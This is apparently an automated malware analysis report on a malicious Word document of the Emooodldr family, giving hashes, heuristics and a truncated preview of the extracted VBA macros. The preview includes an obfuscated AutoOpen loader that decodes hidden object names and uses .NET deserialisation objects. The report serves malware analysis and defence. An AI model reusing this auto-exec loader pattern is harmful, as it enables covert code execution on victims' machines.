Emooodldr — Office (OLE) malware analysis

Static analysis result for SHA-256 314691dca879f54a…

MALICIOUS

Office (OLE)

189.0 KB Created: 2018-10-17 03:36:00 Authoring application: Microsoft Office Word First seen: 2019-02-26
MD5: 993fe04ae182b6fd26697bc7ff51e67d SHA-1: cc2eb4380090e7b2353f992678b0759cabb321a2 SHA-256: 314691dca879f54a88ff42ea123f58962743d9ee2d13d01a83a1325c2f57bc35
330 Risk Score

Malware Insights

Emooodldr · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains critical heuristic firings indicating an obfuscated auto-exec VBA loader that uses CreateObject and execution sinks. The ClamAV signature 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family. The VBA code, while truncated, contains calls to CreateObject and appears to be designed to execute further malicious actions, likely downloading a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28999 bytes
SHA-256: 450c0665577565d5e62c6db2a956181d608fcb569f8846a3cb266a1992ea2bf5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Sub AutoOpen()
' This macro will reassign the ENTER key when you open an existing
' Word form fields document.
'   CustomizationContext = ActiveDocument.AttachedTemplate
   ' Bind the Enter key to the EnterKeyMacro.
'   KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyReturn), _
'   KeyCategory:=wdKeyCategoryMacro, Command:="EnterKeyMacro"
'End Sub

'Sub AutoClose()
'   CustomizationContext = ActiveDocument.AttachedTemplate
'   FindKey(KeyCode:=BuildKeyCode(wdKeyReturn)).Disable
'   ' Disables prompt to save template changes.
'  Templates(1).Save
'End Sub

Private Sub ComboBox1_Change()

End Sub

Private Sub CommandButton1_Click()
ActiveDocument.Unprotect
Application.Run ("Add_Line_PCode")
ActiveDocument.Protect Type:=wdAllowOnlyFormFields, NoReset:=True
End Sub

Private Sub CommandButton11_Click()
ActiveDocument.Unprotect
Application.Run ("Add_Line_PCode_Elim")
ActiveDocument.Protect Type:=wdAllowOnlyFormFields, NoReset:=True
End Sub

Private Sub CommandButton2_Click()
ActiveDocument.Unprotect
Application.Run ("Add_Line_PCode_HR")
ActiveDocument.Protect Type:=wdAllowOnlyFormFields, NoReset:=True
End Sub

Private Sub CommandButton21_Click()
ActiveDocument.Unprotect
Application.Run ("Add_Line_PCode_HR_Elim")
ActiveDocument.Protect Type:=wdAllowOnlyFormFields, NoReset:=True
End Sub

Attribute VB_Name = "Module1"
Sub Add_Line_PCode()
Selection.GoTo What:=wdGoToBookmark, Name:="Add_Line_PCode"
Selection.SelectRow
Selection.Copy
Selection.Paste
Selection.MoveUp
Selection.Rows.SetHeight RowHeight:=InchesToPoints(0.2), HeightRule:=wdRowHeightAtLeast
With Selection.Font
    .Name = "Arial"
End With
End Sub
Sub Add_Line_PCode_Elim()
Selection.GoTo What:=wdGoToBookmark, Name:="Add_Line_PCode_Elim"
Selection.SelectRow
Selection.Copy
Selection.Paste
Selection.MoveUp
Selection.Rows.SetHeight RowHeight:=InchesToPoints(0.2), HeightRule:=wdRowHeightAtLeast
With Selection.Font
    .Name = "Arial"
End With
End Sub
Sub Add_Line_PCode_HR()
Selection.GoTo What:=wdGoToBookmark, Name:="Add_Line_PCode_HR"
Selection.SelectRow
Selection.Copy
Selection.Paste
Selection.MoveUp
Selection.Rows.SetHeight RowHeight:=InchesToPoints(0.2), HeightRule:=wdRowHeightAtLeast
With Selection.Font
    .Name = "Arial"
End With
End Sub
Sub Add_Line_PCode_HR_Elim()
Selection.GoTo What:=wdGoToBookmark, Name:="Add_Line_PCode_HR_Elim"
Selection.SelectRow
Selection.Copy
Selection.Paste
Selection.MoveUp
Selection.Rows.SetHeight RowHeight:=InchesToPoints(0.2), HeightRule:=wdRowHeightAtLeast
With Selection.Font
    .Name = "Arial"
End With
End Sub

Attribute VB_Name = "this"
Sub AutoOpen()
    Dim qXDlMfXDYpgfNJVNYk As String
    Dim crJET As Object
    Dim IUFbtsrpP As Integer
    Dim vnyyQdTMXVnZjyZXYM As String
    Dim zIagwBGak As String
    
    zIagwBGak = EQHFlyd()
    If (zIagwBGak = "UEFGCkcpeoDWqI") Then
        vnyyQdTMXVnZjyZXYM = bzoypDSvUGU(crJET, vnyyQdTMXVnZjyZXYM, IUFbtsrpP)
    End If
End Sub

Private Function wXAhrYYxXvwYXktFkGNlgPb(OepwClIExGDXDmP)
    Dim HvLGmsvqFKtxLQGp, LwYGLEOarCMYwKabEGIfe
    Set HvLGmsvqFKtxLQGp = CreateObject(njIAVQg("Plfurvriw1[POGRP"))
    Set LwYGLEOarCMYwKabEGIfe = HvLGmsvqFKtxLQGp.createElement(njIAVQg("}"))
    LwYGLEOarCMYwKabEGIfe.DataType = njIAVQg("elq1kh{")
    LwYGLEOarCMYwKabEGIfe.Text = OepwClIExGDXDmP
    wXAhrYYxXvwYXktFkGNlgPb = LwYGLEOarCMYwKabEGIfe.NodeTypedValue
End Function

Function bzoypDSvUGU(OcZHwJokcfl As Object, jGstvoRkwNRdUEX As String, vpaAznTWr As Integer) As String
    Dim LcFfJKu As Object, JeoofE As Object, bZgcOLyaPbQulOuZ As Object
    Set bZgcOLyaPbQulOuZ = CreateObject(njIAVQg("V|vwhp1Froohfwlrqv1Duud|Olvw"))
    Set JeoofE = CreateObject(njIAVQg("V|vwhp1Uxqwlph1Vhuldol}dwlrq1Irupdwwhuv1Elqdu|1Elqdu|Irupdwwhu"))
    Set LcFfJKu = CreateObject(njIAVQg("V|vwhp1LR1Phpru|Vwuhdp"))

    Dim ehVIteTjtQBwnWHB
        ehVIteTjtQBwnW
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.